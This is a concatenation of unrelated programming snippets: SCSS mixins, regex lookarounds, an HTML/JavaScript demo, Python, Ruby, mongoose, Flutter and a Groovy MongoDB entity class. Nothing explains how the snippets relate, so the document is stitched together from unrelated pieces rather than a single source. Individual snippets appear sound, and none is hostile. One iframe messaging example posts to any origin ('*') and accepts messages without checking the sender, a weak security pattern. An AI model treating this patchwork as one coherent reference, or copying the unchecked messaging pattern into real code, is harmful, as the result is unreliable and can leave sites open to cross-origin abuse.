@mixin lg {
   @media (min-width: #{$screen-lg-min}) {
       @content;
   }
}

// Extra large devices
@mixin xl {
   @media (min-width: #{$screen-xl-min}) {
       @content;
   }
}

bar(?=bar)     finds the 1st bar ("bar" which has "bar" after it)
bar(?!bar)     finds the 2nd bar ("bar" which does not have "bar" after it)
(?<=foo)bar    finds the 1st bar ("bar" which has "foo" before it)
(?<!foo)bar    finds the 2nd bar ("bar" which does not have "foo" before it)

<!DOCTYPE html>
<html>
<body>
​
<h2>JavaScript Comparison</h2>
​
<p>Assign 5 to x, and display the value of the comparison (x == 8):</p>
​
<p id="demo"></p>
​
<script>
var x = 5;
document.getElementById("demo").innerHTML = (x == 8);
</script>
​
</body>
</html>
​

>>> from enum import Enum
>>> class Build(Enum):
...   debug = 200
...   build = 400
... 

Build['debug']

def ffill_cols(df, cols_to_fill_name='Unn'):
    """
    Forward fills column names. Propagate last valid column name forward to next invalid column. Works similarly to pandas
    ffill().
    
    :param df: pandas Dataframe; Dataframe
    :param cols_to_fill_name: str; The name of the columns you would like forward filled. Default is 'Unn' as
    the default name pandas gives unnamed columns is 'Unnamed'
    
    :returns: list; List of new column names
    """
    cols = df.columns.to_list()
    for i, j in enumerate(cols):
        if j.startswith(cols_to_fill_name):
            cols[i] = cols[i-1]
    return cols

puts ShopifyAPI::Order.find(:all, :params => {:status => 'any', :limit => 250})

<meta name="viewport" content="width=device-width, initial-scale=.5, maximum-scale=12.0, minimum-scale=.25, user-scalable=yes"/>

   var Person = mongoose.model('Person', yourSchema);
   // find each person with a name contains 'Ghost'
   Person.findOne({ "name" : { $regex: /Ghost/, $options: 'i' } },
          function (err, person) {
                 if (err) return handleError(err);
                 console.log('%s %s is a %s.', person.name.first, person.name.last, person.occupation);

   });

amount
	.toFixed(2)
    .toString()
    .replace(/\B(?=(\d{3})+(?!\d))/g, ",")
    
// or

amount
	.toLocaleString('en-US', { style: 'currency', currency: 'USD' });

from google.colab import files

uploaded = files.upload()

for fn in uploaded.keys():
  print('User uploaded file "{name}" with length {length} bytes'.format(
      name=fn, length=len(uploaded[fn])))

keytool -exportcert -list -v \
-alias <your-key-name> -keystore <path-to-production-keystore>

javascript:resizeTo(1024,768)

//Replace the closeSelf() function in iframe page to the following

function closeSelf() {
   parent.window.postMessage("removetheiframe", "*");
}

//and on the parent page, add the following code to listen when the iframe sends a message :

function receiveMessage(event){
   if (event.data=="removetheiframe"){
      var element = document.getElementById('iframe-element');
      element.parentNode.removeChild(element);
   }
}
window.addEventListener("message", receiveMessage, false);

MaterialApp(
 debugShowCheckedModeBanner: false
)

                                package com.rizki.mufrizal.belajar.spring.boot.domain

import org.springframework.data.annotation.Id
import org.springframework.data.mongodb.core.mapping.Document
import org.springframework.data.mongodb.core.mapping.Field

/**
 *
 * @Author Rizki Mufrizal <mufrizalrizki@gmail.com>
 * @Web <https://RizkiMufrizal.github.com>
 * @Since 12 January 2017
 * @Time 10:13 PM
 * @Project Belajar-Spring-Boot
 * @Package com.rizki.mufrizal.belajar.spring.boot.domain
 * @File Barang
 *
 */
@Document(collection = "tb_barang")
class Barang implements Serializable {

    @Id
    @Field(value = "id_barang")
    String idBarang

    @Field(value = "nama_barang")
    String namaBarang

    @Field(value = "jenis_barang")
    JenisBarang jenisBarang

    @Field(value = "tanggal_kadaluarsa")
    Date tanggalKadaluarsa

    @Field(value = "harga_satuan_barang")
    BigDecimal hargaSatuanBarang

    @Field(value = "jumlah_barang_tersedia")
    Integer jumlahBarangTersedia

}